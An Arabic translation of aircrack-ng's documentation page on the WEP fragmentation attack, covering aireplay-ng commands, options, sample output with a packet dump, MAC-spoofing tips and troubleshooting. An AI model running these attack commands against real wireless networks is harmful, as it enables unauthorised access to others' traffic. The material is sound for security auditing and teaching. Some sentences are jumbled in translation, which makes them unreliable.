



هجوم التجزئة

وصف

يُمكن لهذا الهجوم، عند نجاحه، الحصول على 1500 بايت من خوارزمية توليد الأرقام العشوائية الزائفة (PRGA). لا يستعيد هذا الهجوم مفتاح WEP نفسه، بل يحصل فقط على خوارزمية PRGA. يُمكن استخدام خوارزمية PRGA بعد ذلك لتوليد حزم بيانات، والتي تُستخدم بدورها في هجمات حقن البيانات المختلفة. يتطلب بدء الهجوم استلام حزمة بيانات أداة packetforge-ng باستخدام واحدة على الأقل من نقطة الوصول.

باختصار، يستخلص البرنامج كمية صغيرة من بيانات التشفير من الحزمة، ثم يحاول إرسال حزم ARP و/أو LLC ذات محتوى معروف إلى نقطة الوصول. إذا نجحت نقطة الوصول في إعادة إرسال الحزمة، فيمكن استخلاص كمية أكبر من معلومات التشفير منها. تتكرر هذه العملية عدة مرات حتى يتم الحصول على 1500 بايت من بيانات التشفير، أو أحيانًا أقل من ذلك.

، للمؤلف أندريا بيتاو، وصفًا تقنيًا أكثر تفصيلًا [http://darkircop.org/bittau-wep.pdf] "هجوم التجزئة عمليًا" تُقدّم الورقة البحثية الأصلية، [http://download.aircrack-ng.org/wiki-files/doc/Fragmentation-Attack-in-Practice.pdf] هنا هذه التقنية. يمكنكم الاطلاع على نسخة محلية منها [http://download.aircrack-ng.org/wiki-files/doc/Final-Nail-in-WEPs-Coffin.slides.pdf] هنا . كما تجدون [http://darkircop.org/frag.pdf] يمكنكم أيضًا الاطلاع على ورقة "المسمار الأخير في نعش WEP" في هذه ورقة بحثية ذات صلة. [http://download.aircrack-ng.org/wiki-files/doc/Final-Nail-in-WEPs-Coffin.slides.pdf] الصفحة.

الاستخدام

```
aireplay-ng -5 -b 00:14:6C:7E:40:80 -h 00:0F:B5:AB:CB:9D ath0
```

حيث:

- -5 تعني تشغيل هجوم التجزئة
- -b 00:14:6C:7E:40:80 عنوان MAC هو نقطة الوصول
- -h 00:0F:B5:AB:CB:9D عنوان MAC هو المصدر للحزم المراد حقنها
- ath0 هو اسم الواجهة

يمكن تطبيق المرشحات التالية اختياريًا:

- -b bssid: عنوان MAC، نقطة الوصول
- -d dmac: عنوان MAC، الوجهة
- -s smac: عنوان MAC، المصدر
- -m len: الحد الأدنى لطول الحزمة
- -n len: أقصى طول للحزمة
- -u type: عنصر تحكم الإطار، حقل النوع
- -v subt: عنصر تحكم الإطار، حقل النوع الفرعي
- -t tods: DS التحكم في الإطار، إلى بت
- -f fromds: DS التحكم في الإطار، من بت
- -w iswep: WEP التحكم في الإطار، بت

يمكن ضبط خيارات إعادة التشغيل التالية اختياريًا:

- -k IP: الوجهة في أجزاء - القيمة الافتراضية هي 255.255.255.255 IP تحديد عنوان
- -l IP: المصدر في أجزاء - القيمة الافتراضية هي 255.255.255.255 IP تحديد عنوان

مثال على الاستخدام

باختصار، تبدأ الهجوم باستخدام الأمر التالي ثم تحدد الحزمة التي تريد تجربتها:

```
aireplay-ng -5 -b 00:14:6C:7E:40:80 -h 00:0F:B5:AB:CB:9D ath0
```

في انتظار حزمة بيانات...
اقرأ 96 حزمة...

الحجم: 120، من 1 DS، إلى (WEP) 0 DS:

BSSID = 00:14:6C:7E:40:80
عنوان MAC الوجهة = 00:0F:B5:AB:CB:9D
عنوان MAC المصدر = D0:CF:03:34:8C:00

```
0x0000: 0842 0201 000f b5ab cb9d 0014 6c7e 4080 .B.....l~@.  
0x0010: 00d0 cf03 348c e0d2 4001 0000 2b62 7a01 ....4...@...+bz.  
0x0020: 6d6d b1e0 92a8 039b ca6f cecb 5364 6e16 مم ..... o ..Sdn.  
0x0030: a21d 2a70 49cf eef8 f9b9 279c 9020 30c4 ..*pi.....'.. 0.  
0x0040: 7013 f7f3 5953 1234 5727 146c eeaa a594 p...YS.4W'.l....  
0x0050: fd55 66a2 030f 472d 2682 3957 8429 9ca5 .Uf...G-&.9W.)..  
0x0060: 517f 1544 bd82 ad77 fe9a cd99 a43c 52a1 Q .D...w.....<R.  
0x0070: 0505 933f af2f 740e ...?./t.
```

هل تستخدم هذه الحزمة؟ نعم

يستجيب البرنامج (أو ما شابه):

حفظ الحزمة المختارة في replay_src-0124-161120.cap

تم العثور على حزمة البيانات!

إرسال حزمة مجزأة

تم استلام حزمة مُعاد توجيهها!!

هذه حزمة ARP الخاصة بنا!

محاولة الحصول على 384 بايت من دفق المفاتيح

تم استلام حزمة مُعاد توجيهها!!

هذه حزمة ARP الخاصة بنا!

محاولة الحصول على 1500 بايت من سلسلة المفاتيح

تم استلام حزمة مُعاد توجيهها!!

هذه حزمة ARP الخاصة بنا!

جارٍ حفظ دفق المفاتيح في الملف fragment-0124-161129.xor

يمكنك الآن إنشاء حزمة باستخدام packetforge-ng من دفق المفاتيح هذا الذي يبلغ حجمه 1500 بايت

لإنشاء حزمة packetforge-ng لقد حصلت بنجاح على PRGA المخزن في الملف الذي يحمل اسم البرنامج. يمكنك الآن استخدام واحدة أو أكثر لاستخدامها في هجمات الحقن المختلفة.

نصائح الاستخدام

- مصادقة يجب أن يكون عنوان MAC المصدر المستخدم في الهجوم مرتبطاً بنقطة الوصول. ولتحقيق ذلك، يمكنك استخدام أو استخدام عنوان MAC لعميل لاسلكي موجود. وهي
- بالنسبة لبرامج تشغيل madwifi-ng (شريحة Atheros)، يجب تغيير عنوان MAC الخاص ببطاقتك إلى عنوان MAC الذي لمعرفة كيفية تغيير عنوان MAC الخاص ببطاقتك. قسم الأسئلة الشائعة ستستخدمه في الهجوم، وإلا فلن ينجح. راجع
- تعتمد هجمة التجزئة على إرسال عدد كبير من الحزم التي يجب أن تستقبلها نقطة الوصول جميعها لنجاح الهجمة. إذا فُقدت أي من هذه الحزم، تفشل الهجمة. لذا، يجب أن يكون لديك اتصال إنترنت عالي الجودة وأن تكون قريباً نسبياً من نقطة الوصول.
- عدد من الدروس التي تستخدم هجوم التجزئة. توفر هذه الدروس أمثلة إضافية حول على تحتوي صفحة الدروس التعليمية كيفية استخدامه، بالإضافة إلى معلومات حول الاستخدام واستكشاف الأخطاء وإصلاحها.

- متى يجب رفض حزمة بيانات؟ قد تتساءل عما إذا كانت هناك حالات يجب فيها رفض اختيار حزمة بيانات معينة. نعم، إذا اخترت حزمة بيانات سابقًا ولم تنجح، يمكنك تجاهل هذا النوع من الحزم في المرة القادمة. ومن الأمثلة على ذلك عناوين MAC غريبة للبث المتعدد، أو أي شيء آخر مثير للريبة.

استكشاف أخطاء الاستخدام وإصلاحها

عام

- للتأكد من قدرة بطاقتك على الحقن. اختيار الحقن تأكد من أن بطاقتك قادرة على الحقن بنجاح. استخدم
- تأكد من أن جهاز MAC الذي تستخدمه للحقن مرتبط بجهاز AP.
- تأكد من أنك على نفس القناة التي يستخدمها جهاز التوجيه.
- استكشاف أخطاء استخدام aireplay-ng وإصلاحها راجع أيضًا الأفكار العامة لاستكشاف أخطاء aireplay-ng:

على الرغم من أنها ليست نصيحة مباشرة لحل مشكلة هجوم التجزئة، إلا أنه إذا لم تتمكن من إنجاح الهجوم، فهناك بعض الهجمات البديلة التي يجب عليك مراعاتها:

- هذه تقنية بديلة للحصول على PRGA لبناء الحزم من أجل الحقن اللاحق. هجوم كوريك تشوب تشوب
- تسمح لك هذه التقنية بإعادة إدخال أي حزمة بيانات يتم استلامها من نقطة الوصول وإنشاء متجهات تهينة. طريقة -p 0841

رسالة "لم يتم إرسال عدد كافٍ من الردود، جارٍ التكرار"

إذا تلقيت رسالة مشابهة لما يلي:

```
20:49:37 إرسال حزمة مجزأة
20:49:37 لا توجد ردود كافية، جارٍ التكرار...
20:49:37 إرسال حزمة مجزأة
20:49:38 لا توجد ردود كافية، جارٍ التكرار...
20:49:38 إرسال حزمة مجزأة
20:49:39 لا يوجد رد، جارٍ التكرار...
```

الأسباب المحتملة هي:

- قريب جدًا أو بعيد جدًا عن نقطة الوصول
- يُعاني برنامج التشغيل من مشاكل. خاصة إصدارات mac80211، فهي ليست مستقرة حاليًا مثل إصدار ieee80211. جرب إصدار ieee80211، أو جرب إصدارًا آخر من نفس برنامج التشغيل. ينطبق هذا بشكل خاص على برنامج تشغيل madwifi-ng.